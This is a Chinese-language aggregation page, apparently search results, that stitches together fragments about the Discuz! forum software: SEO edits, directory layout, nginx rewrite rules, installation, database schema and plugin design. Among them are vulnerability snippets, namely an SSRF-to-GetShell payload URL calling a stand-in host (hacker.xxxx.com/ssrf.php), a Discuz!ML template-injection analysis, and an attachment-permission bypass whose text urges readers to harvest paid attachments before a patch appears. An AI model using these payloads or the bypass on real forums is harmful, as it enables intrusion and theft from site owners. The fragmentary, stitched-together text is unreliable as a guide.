原文地址:http://jingyan.baidu.com/article/574c5219d9bade6c8c9dc16c.html Discuz是国内使用人数最多的论坛社区开源程序,discuz x2.5...是目前最新版本,其功能强大,对搜索引擎的优化也做的比较好,但是人无完人,金无足赤一直存在的portal.php尾巴是discuz x2.5存在的一点瑕疵,它影响了网站地址的统一性,设置门户为网站首页后,...打开首页就会自动跳转到portal.php,这样对搜索引擎很不友好,所以去掉它很有必要,很多人都在寻找去掉它的方法,今天就分享给大家。...$_ENV['domain']['defaultindex'] : 'forum.php') : 'http://'....5 2.顺便也将含有 <a href="index.php" 这样的代码中的index.php也改为/,要不首页链接就存在文件名了。
Discuz 二次开发 (一) 目录结构和运行逻辑 目录结构 DISCUZ使用自己的框架,与现在主流的web框架不同,DISCUZ没有路由表,他的路由是由入口文件来实现的。...基础css文件、header、footer等公共引入文件 /default/collage 大学计划页面 /default/dige dige专区页面 /default/forum 首页...composer.json composer依赖版本记录文件 composer.lock composer依赖版本控制文件 connect.php 云平台接口文件 dige.php dige专区入口文件 forum.php...帖子信息入口文件 group.php 群组入口文件 home.php 家园入口文件 index.php 首页 member.php 用户入口文件(登录、注册、退出等) misc.php 程序杂项扩展入口...运行逻辑 discuz的入口文件起到了路由的作用。一个标准的discuz请求如下: http://localhost/home.php?
进入templeta/default/forum/Discuz.htm (使用非默认模版的请修改当前使用模版的discuz.htm)删除以下代码即可 {lang
1.Discuz目录结构 1.1根目录文件 admin.php—————————————–后台入口文件 api.php———————————————-合作API输出接口文件 connect.php———...————————-云平台接口文件 cp.php————————————————多应用服务入口文件(加载userapp.php文件) favicon.ico——————————————–站点ICO图标 forum.php...论坛频道入口文件 group.php———————————————群组频道入口文件 home.php———————————————-家园频道入口文件 index.php———————————————–首页文件...—————-程序语言包 /source/module————————————程序功能模块程序包 /source/plugin————————————插件程序扩展目录 /source/discuz_version.php
如果有想咨询的可以加QQ:783021975 2014/5/21 10:38 ---------------------------------------- 1.修改门户相关分类 discuz如何去掉门户相关分类...discuz这款cms是非常好用的,特别是它的diy功能,在discuzcms中很多站长都需要改很多地方,比方说discuz门户分类和文字分类右侧的【相关分类】这个几个字可能并不是个各大站长想要,那么我们应该如何去掉门户相关分类.../forum.php?...--{avatar($_G[uid],middle)}--> 7.修改论坛版块为横向显示 论坛-版块-论坛首页下级子版块横排---分区下级子版块横排 ? ?...frames=yes&action=cloud&operation=applist 10.discuz x3.1 上传附件按钮不显示问题 http://www.discuz.net/thread-2746160
今天一个找我配置过 lnmp 环境的用户要搭建 Discuz 论坛,但是发现不支持伪静态,站长没怎么折腾过 Discuz,百度下才知道,原来军哥的 LNMP 环境包自带的 DZ 规则不适用于 Discuz...mod=view&aid=$2&page=$3 last; rewrite ^([^\.]*)/forum-(\w+)-([0-9]+)\.html$ $1/forum.php?....]*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/forum.php?....]*)/group-([0-9]+)-([0-9]+)\.html$ $1/forum.php?...1 cd /usr/local/nginx/conf/vhost 编辑对应的网站配置文件,比如 aaa.com.conf 1 vi aaa.com.conf 找到配置中的 1 include discuz.conf
plugin.php robots.txt source template uc_server api archiver connect.php data forum.php...; Query OK, 1 row affected (0.04 sec) mysql> grant all on discuz.* to 'discuz'@'192.168.230.150' identified...> flush privileges; Query OK, 0 rows affected (0.00 sec) 然后使用 http://192.168.230.150/forum.php 可以顺利访问...使用 http://192.168.230.151/forum.php 呢? ? 也许你现在也会有和我之前一样的疑问,为什么呢?...因为WEB 1站点配置好的所有信息均写进了discuz站点目录中的install文件夹,里面包含了数据库的配置和连接信息!! 然后再次在负载均衡server内增加real server添加新机器即可!
概述 Discuz!ML 是一个由 CodersClub.org 创建的多语言,集成,功能齐全的开源网络平台,用于构建像 “社交网络” 这样的互联网社区。该引擎基于 Comsenz Inc....创建的着名的 Discuz!X 引擎开发。 但是,这与常见的 Discuz 论坛还是没多大关系。 影响版本 Discuz! ML v.3.4 Discuz! ML v.3.3 Discuz!...(不愧是官方的 Demo) 分析 主入口是 upload 目录下的 index.php,没有任何参数的情况下直接载入 forum.php 紧接着 forum.php 又加载了两个核心文件,好戏就要开始了...其他地方都是包含,这里有个缓存文件,先不管,继续跟,发现开始加载 forum_index.php form_index.php 的 433 行开始加载模板 include template('diy:forum/discuz...$gid); 之前的那个可控点在这里出现了 紧接着被传入了这个函数之中 checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT .
0X06 利用Discuz的SSRF漏洞GetShell Discuz无条件限制ssrf漏洞(<=3.1测试是有这个漏洞) 实验环境: 172.28.100.109 为Discuz 3.1(Win10)...示例: /forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?.../upload/forum.php?.../upload/forum.php?...PAYLOAD: http://127.0.0.1/Discuz_X3.1/upload/forum.php?
8、恢复数据前请在 Discuz! 安装文件目录下utility文件夹内找到 restore.php 文件,然后将 restore.php 文件上传到程序文件夹data目录下。
5.检查mysql能否正常登陆和使用: mysql -uroot -p'12345' 下载Discuz的压缩包 检查完以上所有的服务确保正常后就可以开始搭建Discuz了,首先是下载Discuz...,Discuz的压缩包可以在官网下载自己需要的版本:http://www.discuz.net/forum.php 我这里使用的是3.3的UTF8版本: [root@localhost ~]# cd /...connect.php favicon.ico index.php plugin.php source uc_server api.php cp.php forum.php...1、选择“全新安装 Discuz! X (含 UCenter Server)” 如果你之前没有安装过Discuz就选择此项。 2、选择“仅安装 Discuz!...安装完成后点击访问即可,如果你不需要安装Discuz推荐的应用的话: ? 搞定,打完收工: ? 至此,Discuz已经成功地安装完毕!如有问题欢迎私信。
discuz 主题表pre_forum_thread 注解 tid mediumint(8) unsigned NOT NULL auto_increment COMMENT '主题id', fid mediumint...COMMENT '主题封面 负数:远程 正数:本地 0:无封面', replycredit smallint(6) NOT NULL default '0' COMMENT '回帖奖励积分主题记录积分值', discuz
近日,有网友在乌云上发布了一则Discuz论坛附件下载权限绕过漏洞,能够任意下载带有权限的附件并且无需扣除自身积分。...目前Discuz正在处理中,但暂未放出漏洞补丁,有需要的朋友不妨趁漏洞修补之前到各论坛大肆搜刮一番。...漏洞重现步骤: 找到任一带有权限附件,右键点击选择复制链接地址 得到类似下列网址,将aid=其后部分复制 http://***/forum.php?...MjMyNjM5NnwzMjM4OTQ5OXwxMzk0MTgwMDAwfDM0ODkyN3wxNjY0OTIy 该部分网址为base64加密后密文,使用任意工具进行解密,得到如下原文 其中第四段(348927)为当前用户UID,Discuz...该漏洞在乌云的提交时间为2014-01-15,目前Discuz并未拿出最终处理方案,由于漏洞影响并不严重,预期将在下一版本更新顺带解决。
修改 function_core.php 文件 vim discuz_x3.2/upload/source/function/function_core.php 代码如下,添加红色字体 function...($timestamp % $tplrefresh))) { if(1 || empty($timecompare) || @filemtime(DISCUZ_ROOT....$subtpl) > $timecompare) { require_once DISCUZ_ROOT.’
一、Discuz介绍 Discuz是国内比较知名的开源论坛了,后来被腾讯收购,Discuz在设计时就考虑了生态体系的建设,支持插件设计,可以让广大开发者朋友来一起建设生态,不得不说设计者是很有商业头脑的...回到话题,我们为什么要学习Discuz的插件设计呢,因为假如我们哪天自己想做一套系统,也要支持插件,可以借鉴下相关的设计。...三、Discuz插件机制实现分析 Discuz插件都是放在 upload/source/plugin目录下,我们一个个来分析实现机制。 以下是其中一个插件的代码目录截图: ?...[CDATA[Discuz!...require_once DISCUZ_ROOT . '.
定义文件: \source\class\class_core.php 定义: define('DISCUZ_ROOT', substr(dirname(__FILE__), 0, -12)); 说明:...将DISCUZ_ROOT定义为class_core.php当前目录(字符)减去12个字符(即:source\class) 例如: D:\www\source\class\class_core.php dirname...(__FILE__)结果为:D:\www\source\class substr(dirname(__FILE__), 0, -12)结果为:D:\www\ 这样在调用程序discuz内部程序时,只需要知道相对目录就行了..., 例如: require DISCUZ_ROOT.'.
1、综合建站系统:PageAdmin 官方网站:http://www.pageadmin.net/ 适合网站:企业网站,学校网站,政府网站或新闻门户 2、论坛建站系统:discuz 官方网站:http:...//www.discuz.net/forum.php 适合网站:论坛系统,社区交流 3、博客建站系统:zblog 官方网站:https://www.zblogcn.com/ 适合网站:个人简历,个人博客
$_G 保存了 Discuz! 中所有的预处理数据 缓存能够很好的提高程序的性能,一些配置数据没必要每次都查询数据库,只要在修改了的时候更新下缓存即可。 Discuz!...=> 当前页面所在频道 $_G['basefilename'] => 当前页面php文件名 $_G['staticurl'] => 程序附件目录 $_G['mod'] => 当前页面的MOD值【例如:forum.php...setting'][creditsformula] => 全局-积分设置-基本设置-总积分计算公式 $_G['setting'][cacheindexlife] => 全局-性能优化-论坛页面缓存设置-缓存论坛首页有效期...界面设置-全局-匿名用户的昵称 $_G['setting'][threadsticky] => 界面-界面设置-主题列表-置顶主题的标识 $_G['setting'][defaultindex] => 默认首页文件名...forum.php $_G['setting'][verify] => 用户-认证设置 $_G['setting'][rewriterule] => 后台伪静态规则情况 $_G['setting'][ucenterurl
/source/class/class_core.php';//引入系统核心文件 $discuz = & discuz_core::instance();//以下代码为创建及初始化对象 $discuz-... = '该页面展示Discuz! .../source/class/class_core.php';//引入系统核心文件 $discuz = & discuz_core::instance();//以下代码为创建及初始化对象 $discuz-...,QQ,这里填写关键词'; $metadescription = '该页面展示Discuz! ...="z"> $_G[setting][bbname]» <a href="<em>forum.php</em>
领取专属 10元无门槛券
手把手带您无忧上云